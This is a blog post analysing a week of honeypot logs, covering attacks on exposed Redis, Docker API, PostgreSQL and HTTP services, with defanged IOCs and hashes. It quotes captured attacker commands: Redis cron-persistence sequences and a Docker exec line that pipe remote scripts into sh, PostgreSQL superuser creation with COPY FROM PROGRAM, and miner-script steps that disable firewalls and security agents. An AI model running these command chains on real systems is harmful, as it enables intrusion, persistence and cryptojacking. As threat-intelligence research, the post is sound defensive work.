DEV Community

Atila Tair
Atila Tair

Posted on

I Ran a Honeypot for a Week. The Results Were Shocking.

I put a deliberately vulnerable-looking honeypot on a small cloud VPS and left it exposed to the public internet. The goal was simple: make it look enough like a messy real environment that bots would show me what they actually do after they find an exposed service.

The honeypot pretended to be several things at once: Redis, Docker Engine API, PostgreSQL, Elasticsearch, SSH, HTTP/HTTPS telemetry panels, and a kubelet-like service. It did not contain real data and it did not execute attacker payloads. Anything that looked like a malware URL was queued to a separate collector, downloaded as inert evidence, hashed, and stored as sample.bin.

Over the first week it recorded 6,131 events from 1,083 unique source IPs. The most targeted services were PostgreSQL, Elasticsearch, raw TCP, Docker API, HTTP, SSH, Redis, HTTPS, and kubelet. That is the boring summary. The interesting part is what the attackers tried to do once the fake services answered.


The headline findings

Three things stood out immediately.

First, the fake Redis service caught full cron-persistence attacks. These were not simple INFO checks. Attackers used CONFIG SET, SAVE, and FLUSHALL to try to make Redis write cron files that would run shell downloaders every few minutes.

Second, the fake Docker API caught repeated libredtail-http exploitation. The bots enumerated containers, created exec objects, and then started those exec objects. The command they wanted to run was the classic disaster pattern: download a remote script and pipe it straight into sh.

Third, an HTTP router-style exploit delivered cat.sh, a tiny shell loader that downloaded fourteen different ELF binaries for different CPU architectures. Those binaries contained a taunt: “Looks like you are a honeypot, this tool was made by t.me/flylegit!”


The Redis attack: turning a database into a cron writer

The most complete attack chain came through Redis. The attacker sent a sequence like this:

COMMAND DOCS
CONFIG SET dbfilename backup.db
SAVE
CONFIG SET stop-writes-on-bgsave-error no
FLUSHALL
SET backup1 "*/2 * * * * cd1 -fsSL hxxp://34.70.205[.]211/.../kworker | sh"
SET backup2 "*/3 * * * * wget -q -O- hxxp://34.70.205[.]211/.../kworker | sh"
SET backup3 "*/4 * * * * curl -fsSL hxxp://38.150.0[.]118/.../kworker | sh"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
CONFIG SET dir /etc/cron.d/
CONFIG SET dbfilename javae
SAVE
Enter fullscreen mode Exit fullscreen mode

In plain English, the bot was trying to use Redis persistence features as an arbitrary file write. If Redis can write to /var/spool/cron/ or /etc/cron.d/, the attacker gets scheduled command execution. The script being scheduled was kworker.


The kworker script: a cloud cryptominer installer in shell form

The kworker sample was 36,273 bytes and appeared 25 times with the same SHA256:

92a71778310bf37cf81c8f42a250ea7b9ed17042b577d90f5d179f90ac1c056a
Enter fullscreen mode Exit fullscreen mode

It starts like a normal shell script, but it quickly becomes a full post-exploitation playbook.

It disables host defenses:

iptables -F
ufw disable
setenforce 0
echo "SELINUX=disabled" > /etc/sysconfig/selinux
service apparmor stop
systemctl disable apparmor
Enter fullscreen mode Exit fullscreen mode

It removes cloud security agents and monitoring tools, especially Alibaba/Tencent-style agents:

AliYunDun
AliHids
AliSecGuard
aegis
YunJing
barad
cloudmonitor
Enter fullscreen mode Exit fullscreen mode

It kills competitors:

xmrig
kinsing
kdevtmpfsi
moneroocean
TeamTNT
watchdogs
httpgd
sustse
cryptonight
Enter fullscreen mode Exit fullscreen mode

It installs persistence with cron jobs, immutable file attributes, and fake kernel-worker-like names:

/etc/javae
/etc/kworker
/tmp/javae
/tmp/kworker
Enter fullscreen mode Exit fullscreen mode

It also writes an attacker SSH public key into authorized_keys, wraps ps/top/pstree to hide its process names, and attempts lateral movement by using /root/.ssh/known_hosts with existing SSH keys.

This was not just a miner. It was a miner installer, cleaner, persistence system, and lateral movement script.


Docker: fake containers, real exploitation logic

The Docker API honeypot produced one of the most satisfying chains because the attacker followed the fake state. The bot asked for containers, selected the fake IDs, created exec objects, and then started those exec objects:

GET  /containers/json
POST /containers/<id>/exec
POST /exec/<exec_id>/start
Enter fullscreen mode Exit fullscreen mode

The command looked like this:

(wget --no-check-certificate -qO- hxxps://125.135.169[.]171/sh || curl -sk hxxps://125.135.169[.]171/sh) | sh -s docker.selfrep
Enter fullscreen mode Exit fullscreen mode

The loader selected an execution directory, avoided noexec mounts, downloaded architecture-specific payloads, gave them randomized dotfile names, and executed the matching one. Two variants were collected:

8fdd3ab82e8c40e4262d6ea426cf8668541cc9396c38c438b44951422ef2fa52
6e55b212f06eda7e0993d1302332e20453df87c66987acc3be3206ec9e9ffa6f
Enter fullscreen mode Exit fullscreen mode

The original 204.76.203[.]196/sh endpoint appeared frequently in the logs, but by the time the collector tried to fetch it, it mostly timed out.


The iran.* botnet family

The most fascinating artifact came from an HTTP command injection. The command downloaded cat.sh from 83.168.110[.]191. That script was only 1,901 bytes, but it tried to fetch fourteen architecture-specific binaries:

iran.x86_64
iran.aarch64
iran.m68k
iran.mips
iran.mipsel
iran.powerpc
iran.sparc
iran.sh4
iran.arc
iran.i486
iran.armv4l
iran.armv5l
iran.armv6l
iran.armv7l
Enter fullscreen mode Exit fullscreen mode

Most of the ELF samples shared the same strings:

Looks like you are a honeypot, this tool was made by t.me/flylegit!
t.me/flylegit
83.168.110.191
!update
!kill
udpplain
http
ping
pong %s
Enter fullscreen mode Exit fullscreen mode

They also contained HTTP request templates and fake user agents, which points to DDoS/bot functionality. The x86_64 sample was UPX-packed and had no section header, so its useful strings were hidden, but it came from the same loader and naming scheme.


PostgreSQL: they tried to become superuser

The PostgreSQL honeypot also paid off. Attackers did not only connect; they issued SQL. The most interesting pattern checked for a role named pgg_superadmins, attempted to create it as a superuser, and used COPY ... FROM PROGRAM with base64 shell content. That is a direct attempt to execute OS commands through PostgreSQL once privileges allow it.

Repeated SQL included:

SELECT * FROM pg_catalog.pg_user WHERE usename='pgg_superadmins';
CREATE ROLE pgg_superadmins WITH LOGIN SUPERUSER PASSWORD '<redacted in blog>';
COPY <table> FROM PROGRAM 'echo <base64 shell> ...';
revoke pg_execute_server_program from postgres;
Enter fullscreen mode Exit fullscreen mode

That is a very different signal than a simple port scan.


IOCs

Defanged indicators from this run:

Indicator Context
hxxp://34.70.205[.]211/plugins-dist/safehtml/lang/font/kworker Redis cron persistence / kworker dropper
hxxp://34.70.205[.]211/plugins-dist/safehtml/lang/font/javae Second-stage miner candidate
hxxp://38.150.0[.]118/dewfhuewr4r89/98hy67//kworker Redis backup cron downloader
hxxps://217.60.241[.]36/sh Docker loader variant
hxxps://125.135.169[.]171/sh Docker loader variant
hxxp://83.168.110[.]191/cat.sh Multi-arch iran loader
83.168.110[.]191 Iran/flylegit C2/stager
t.me/flylegit Marker embedded in iran ELF samples

What I learned

The biggest lesson is that exposed services do not just get “scanned.” If they answer convincingly enough, they get walked through full playbooks.

Redis attackers tried to write cron files. Docker attackers tried to run commands inside containers. PostgreSQL attackers tried to create superusers and use COPY FROM PROGRAM. IoT attackers dropped multi-architecture binaries. The malware itself expected cloud environments, killed security agents, removed competitor miners, installed SSH access, and tried to spread.


Future Work

I’ll keep updating this project as the honeypot collects more malware samples and attack data. I also plan to keep improving the honeypot infrastructure step by step, the core sensor is written in Go, with separate tooling for artifact collection and analysis.

Stay safe, and don’t expose real services to the internet unless you know exactly what you’re doing.


Top comments (0)